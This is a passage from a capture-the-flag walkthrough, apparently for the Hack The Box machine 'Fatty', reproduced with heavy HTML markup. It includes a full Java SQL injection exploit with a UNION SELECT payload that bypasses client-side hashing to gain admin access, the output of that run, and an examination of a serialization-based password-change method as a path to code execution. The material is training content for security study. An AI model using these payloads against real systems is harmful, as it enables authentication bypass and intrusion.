class=\"enlighter-g1\">)<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>I\u2019m not an expert in cryptography, but solving this equation should not be possible in a reasonable amount of time. Therefore, the above mentioned<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>cannot be exploited from the graphical user interface. Luckily, we have already our own client and have full control over what is transmitted to the server. In our own code, we should be able to correct the hashing issue and to exploit the<span>\u00a0<\/span><em>SQLi<\/em>.<\/p>\n<p>The first thing we need to do is to determine when the hashing of the password occurs. By inspecting the<span>\u00a0<\/span><code>htb.fatty.shared.resources.User<\/code><span>\u00a0<\/span>class, we can identify that the password is directly hashed in the constructor function of the<span>\u00a0<\/span><code>User<\/code><span>\u00a0<\/span>object. Fortunately for us, there are multiple constructor functions for the<span>\u00a0<\/span><code>User<\/code><span>\u00a0<\/span>object and one of them allows to specify a boolean with name<span>\u00a0<\/span><code>hashed<\/code>. If set to<span>\u00a0<\/span><em>false<\/em>, the password will be stored as plain text inside the<span>\u00a0<\/span><code>User<\/code><span>\u00a0<\/span>object.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k5\">int<\/span><span class=\"enlighter-text\"> uid, <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> username, <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> password, <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> email, Role role, <\/span><span class=\"enlighter-k5\">boolean<\/span><span class=\"enlighter-text\"> hash<\/span><span class=\"enlighter-g1\">){<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">uid, username, password, email, role<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> !hash <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">password<\/span><span class=\"enlighter-text\"> = password;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>For our exploit, all we need to do now is to use<span>\u00a0<\/span><code>hashed=false<\/code><span>\u00a0<\/span>during our user generation and to specify the above mentioned payload as the username. As a proof of concept, we can then try to access the<span>\u00a0<\/span><code>invo.uname()<\/code><span>\u00a0<\/span>function again and see if we are now allowed to call it. The corresponding code for the<span>\u00a0<\/span><em>SQLi<span>\u00a0<\/span><\/em>exploitation could look like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> java.io.IOException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.connection.Connection<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.methods.Invoker<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.message.MessageBuildException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.message.MessageParseException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.resources.User<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> SQLi <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">static<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">main<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> args <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Connection conn = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> conn = Connection.<\/span><span class=\"enlighter-m3\">getConnection<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> Exception e <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Connection attempt failed: \"<\/span><span class=\"enlighter-text\"> + e.<\/span><span class=\"enlighter-m3\">getMessage<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> User user = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"fakepassword\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-e0\">false<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> conn.<\/span><span class=\"enlighter-m3\">login<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Login succesful!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">else<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Login failed!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> roleName = conn.<\/span><span class=\"enlighter-m3\">getRoleName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> user.<\/span><span class=\"enlighter-m3\">setRoleByName<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Current role: \"<\/span><span class=\"enlighter-text\"> + roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Invoker invo = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Invoker<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">conn, user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> serverResponse = <\/span><span class=\"enlighter-s0\">\"\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> serverResponse = invo.<\/span><span class=\"enlighter-m3\">uname<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageParseException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message parsing.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageBuildException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message building.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message sending.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Server response is: \"<\/span><span class=\"enlighter-text\"> + serverResponse<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>After execution, we obtain the following result:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Login succesful!<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Current role: <\/span><span class=\"enlighter-k9\">admin<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">+<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> Server response is: Linux 6dfe00973277 4.9.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">-amd64 <\/span><span class=\"enlighter-c0\">#1 SMP Debian 4.9.189-3 (2019-09-02) x86_64 Linux<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>This output shows that we have now administrative access and should be able to use all functionality that is exposed by the client.<\/p>\n<h3 id=\"final-punch\">3.10 \u2013 The final Punch<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>After unlocking all functionality of the client, we take a look ath the juicy functionalities inside the<span>\u00a0<\/span><em>ServerStatus<\/em><span>\u00a0<\/span>drop down:<\/p>\n<ul>\n<li>uname()<\/li>\n<li>users()<\/li>\n<li>netstat()<\/li>\n<li>iptables()<\/li>\n<\/ul>\n<p>However, all these function take zero arguments and we have therefore no possibility to inject something malicious into them. We can also take a look at the source code of the application server and find that all these methods just invoke some static commands. E.g. the<span>\u00a0<\/span><code>invo.uname()<\/code><span>\u00a0<\/span>function does something like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">Process p = Runtime.<\/span><span class=\"enlighter-m3\">getRuntime<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">exec<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"uname -a\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>So it seems that these methods do not provide any attack vectors. But are there other methods that only an administrator is able to call? If you remember our initial enumeration on the graphical user interface, there was a<span>\u00a0<\/span><code>changePassword<\/code><span>\u00a0<\/span>function that was disabled for the user<span>\u00a0<\/span><em>qtc<\/em>. While a method like<span>\u00a0<\/span><code>changePassword<\/code><span>\u00a0<\/span>does not sound like something that could lead to<span>\u00a0<\/span><em>remote code execution<\/em>, in the case of<span>\u00a0<\/span><em>Fatty<\/em>, the implementation is pretty dangerous. Already the source code of<span>\u00a0<\/span><em>fatty-client.jar<\/em><span>\u00a0<\/span>is sufficient to see that:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">changePW<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> username, <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> newPassword<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">throws<\/span><span class=\"enlighter-text\"> MessageParseException, MessageBuildException, IOException <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> methodName = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Object<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{}<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m0\">getClass<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getEnclosingMethod<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">; <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> logger.<\/span><span class=\"enlighter-m3\">logInfo<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Method '\"<\/span><span class=\"enlighter-text\"> + methodName + <\/span><span class=\"enlighter-s0\">\"' was called by user '\"<\/span><span class=\"enlighter-text\"> + user.<\/span><span class=\"enlighter-m3\">getUsername<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"> + <\/span><span class=\"enlighter-s0\">\"'.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> AccessCheck.<\/span><span class=\"enlighter-m3\">checkAccess<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">methodName, user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Error: Method '\"<\/span><span class=\"enlighter-text\"> + methodName + <\/span><span class=\"enlighter-s0\">\"' is not allowed for this user account\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> User user = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">username, newPassword<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ByteArrayOutputStream bOut = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ByteArrayOutputStream<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ObjectOutputStream oOut;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> oOut = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ObjectOutputStream<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">bOut<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> oOut.<\/span><span class=\"enlighter-m3\">writeObject<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> e.<\/span><span class=\"enlighter-m3\">printStackTrace<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Failure while serializing user object\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">byte<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> serializedUser64 = Base64.<\/span><span class=\"enlighter-m3\">getEncoder<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">encode<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">bOut.<\/span><span class=\"enlighter-m3\">toByteArray<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ActionMessage<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">sessionID<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"changePW\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action.<\/span><span class=\"enlighter-m3\">addArgument<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">serializedUser64<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span 